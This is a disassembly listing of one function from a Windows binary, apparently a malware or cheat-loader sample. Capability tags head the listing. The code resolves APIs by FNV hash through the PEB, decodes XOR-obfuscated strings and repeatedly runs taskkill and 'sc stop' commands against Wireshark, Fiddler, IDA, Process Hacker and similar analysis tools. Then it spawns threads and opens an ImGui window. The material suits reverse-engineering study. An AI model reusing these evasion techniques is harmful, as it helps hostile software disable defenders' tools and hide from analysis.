Function at 0x140044490
Capabilities:
Access peb ldr_data
Capture network configuration via ipconfig
Create thread
Delete file
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x338]
sub rsp, 0x410
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1400e20c0]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor r13d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140044594
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140044594
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004458f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140044570
cmp edx, 0x9a9264ad
je 0x140044599
test r9d, r9d
jne 0x140044550
mov rax, qword [rax]
jmp 0x140044520
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r8d, dword [rdx + rcx*4]
add r8, r10
movsd xmm0, qword [0x1400d0a98]
movsd qword [rbp + 0x1f0], xmm0
movzx ecx, word [0x1400d0aa0]
mov word [rbp + 0x1f8], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1f0], 0x41
xor byte [rbp + 0x1f1], 0x33
xor byte [rbp + 0x1f2], 0x34
xor byte [rbp + 0x1f3], 0x35
xor byte [rbp + 0x1f4], 0x36
xor byte [rbp + 0x1f5], 0x37
xor byte [rbp + 0x1f6], 0x38
xor byte [rbp + 0x1f7], 0x39
xor cl, 0x3a
mov byte [rbp + 0x1f8], cl
xor byte [rbp + 0x1f9], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1fa], al
lea rcx, [rbp + 0x1f0]
call r8
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140043e90
mov edi, 1
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049030]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1400479d3
cmp dword [rsp + 0x68], 0
je 0x1400479ca
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400479ca
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049060]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1400479b9
cmp dword [rsp + 0x68], 0
je 0x1400479b0
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400479b0
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14004799f
cmp dword [rsp + 0x68], 0
je 0x140047996
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140047996
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140047985
cmp dword [rsp + 0x68], 0
je 0x14004797c
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004797c
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14004796b
cmp dword [rsp + 0x68], 0
je 0x140047962
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140047962
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140047951
cmp dword [rsp + 0x68], 0
je 0x140047948
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140047948
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140047937
cmp dword [rsp + 0x68], 0
je 0x14004792e
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004792e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov ecx, edi
call fcn.1400b4acc
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140049090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14004791d
cmp dword [rsp + 0x68], 0
je 0x140047914
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140047914
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [0x140188cc0], r13
lea rax, [0x140188cb0]
cmp qword [0x140188cc8], 0xf
cmova rax, qword [0x140188cb0]
mov byte [rax], 0
mov qword [0x1401889d8], r13
lea rax, [0x1401889c8]
cmp qword [0x1401889e0], 0xf
cmova rax, qword [0x1401889c8]
mov byte [rax], 0
mov qword [0x140188ce0], r13
lea rax, [0x140188cd0]
cmp qword [0x140188ce8], 0xf
cmova rax, qword [0x140188cd0]
mov byte [rax], 0
mov qword [0x1401889b0], r13
lea rax, [0x1401889a0]
cmp qword [0x1401889b8], 0xf
cmova rax, qword [0x1401889a0]
mov byte [rax], 0
mov qword [0x1401889f8], r13
lea rax, [0x1401889e8]
cmp qword [0x140188a00], 0xf
cmova rax, qword [0x1401889e8]
mov byte [rax], 0
lea rcx, [0x140188a10]
call fcn.14005c330
lea rcx, [rbp - 0x60]
call fcn.140042c70
mov rbx, rax
lea rax, [0x140187420]
cmp rax, rbx
je 0x140044d0f
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140044cd2
mov rcx, qword [0x140187420]
inc rdx
cmp rdx, 0x1000
jb 0x140044ccd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140044d41
mov rcx, r8
call fcn.1400b47a0
mov qword [0x140187430], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140187420], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140187420], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140187430], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140044d4d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044d48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044d48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.140040aa0
mov rbx, rax
lea rax, [0x140187480]
cmp rax, rbx
je 0x140044ddf
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140044da2
mov rcx, qword [0x140187480]
inc rdx
cmp rdx, 0x1000
jb 0x140044d9d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140044e11
mov rcx, r8
call fcn.1400b47a0
mov qword [0x140187490], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140187480], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140187480], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140187490], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140044e1d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044e18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044e18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.140042400
mov rbx, rax
lea rax, [0x1401873c0]
cmp rax, rbx
je 0x140044eaf
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140044e72
mov rcx, qword [0x1401873c0]
inc rdx
cmp rdx, 0x1000
jb 0x140044e6d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140044ee1
mov rcx, r8
call fcn.1400b47a0
mov qword [0x1401873d0], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1401873c0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x1401873c0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1401873d0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140044eed
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044ee8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044ee8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.140041930
mov rbx, rax
lea rax, [0x1401874c0]
cmp rax, rbx
je 0x140044f7f
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140044f42
mov rcx, qword [0x1401874c0]
inc rdx
cmp rdx, 0x1000
jb 0x140044f3d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140044fb1
mov rcx, r8
call fcn.1400b47a0
mov qword [0x1401874d0], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1401874c0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x1401874c0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1401874d0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140044fbd
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044fb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044fb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.140040ea0
mov rbx, rax
lea rax, [0x1401873e0]
cmp rax, rbx
je 0x14004504f
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140045012
mov rcx, qword [0x1401873e0]
inc rdx
cmp rdx, 0x1000
jb 0x14004500d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140045081
mov rcx, r8
call fcn.1400b47a0
mov qword [0x1401873f0], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1401873e0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x1401873e0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1401873f0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14004508d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045088
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045088
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.1400402a0
mov rbx, rax
lea rax, [0x1401874a0]
cmp rax, rbx
je 0x14004511f
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x1400450e2
mov rcx, qword [0x1401874a0]
inc rdx
cmp rdx, 0x1000
jb 0x1400450dd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140045151
mov rcx, r8
call fcn.1400b47a0
mov qword [0x1401874b0], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1401874a0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x1401874a0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1401874b0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14004515d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045158
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045158
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.1400406a0
mov rbx, rax
lea rax, [0x140187460]
cmp rax, rbx
je 0x1400451ef
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x1400451b2
mov rcx, qword [0x140187460]
inc rdx
cmp rdx, 0x1000
jb 0x1400451ad
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140045221
mov rcx, r8
call fcn.1400b47a0
mov qword [0x140187470], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140187460], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140187460], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140187470], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14004522d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045228
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045228
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.140043070
mov rbx, rax
lea rax, [0x140187440]
cmp rax, rbx
je 0x1400452bf
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140045282
mov rcx, qword [0x140187440]
inc rdx
cmp rdx, 0x1000
jb 0x14004527d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400452f1
mov rcx, r8
call fcn.1400b47a0
mov qword [0x140187450], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140187440], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140187440], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140187450], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400452fd
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400452f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400452f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
lea rcx, [rbp - 0x60]
call fcn.140043630
mov rbx, rax
lea rax, [0x140187400]
cmp rax, rbx
je 0x14004538f
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140045352
mov rcx, qword [0x140187400]
inc rdx
cmp rdx, 0x1000
jb 0x14004534d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400453c1
mov rcx, r8
call fcn.1400b47a0
mov qword [0x140187410], r13
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140187400], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140187400], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140187410], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400453cd
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400453c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400453c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b47a0
call fcn.1400414d0
mov byte [0x140188ca8], al
call fcn.140041700
mov byte [0x1401889c0], al
call fcn.1400412a0
mov byte [0x140188998], al
mov dword [rbp + 0x1a0], 0x50
mov dword [rbp + 0x1a4], 0x40
lea rax, [0x140047c00]
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1b8], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1d0], xmm1
lea rax, str.ImGui_Example
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], r13
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xf0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x14a
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x1e0
mov dword [rsp + 0x30], 0x294
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, [0x1400d0110]
mov rdx, qword [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
